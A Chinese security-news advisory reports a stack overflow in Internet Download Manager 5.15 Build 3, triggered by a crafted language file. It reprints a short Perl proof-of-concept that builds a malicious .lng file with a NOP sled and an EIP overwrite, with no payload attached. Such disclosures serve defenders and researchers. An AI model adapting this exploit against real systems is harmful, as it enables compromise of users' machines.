频道栏目
首页 > 资讯 > 安全公告 > 正文

Internet下载管理器语言文件解析栈溢出漏洞

09-04-29        来源:[db:作者]  
收藏   我要投稿
影响版本:
Tonec Inc Internet Download Manager 5.15 Build 3
测试方法:
#####################PoC######################################
#Internet Download Manager v.5.15 Build 3 (4 December)
#Works on Vista
#HellCode Labs || TCC Group || http://tcc.hellcode.net
#Bug was found by "musashi" aka karak0rsan
[musashi@hellcode.net]
#thanx to murderkey
$file="idm_tr.lng";
$lng= "lang=0x1f Türkçe";
$buffer = "x90" x 1160;
$eip = "AAAA";
$toolbar = "20376=";
$packet=$toolbar.$buffer.$eip;
open(file, > . $file);
print file $lng;
print file " ";
print file $packet;
close(file);
print "File has created! ";
PS:这东西份额不大~但只要有就会中招~
相关TAG标签
上一篇:為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明
下一篇:缩水五一到来之际盗号木马集团疯狂升级“备盗”
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站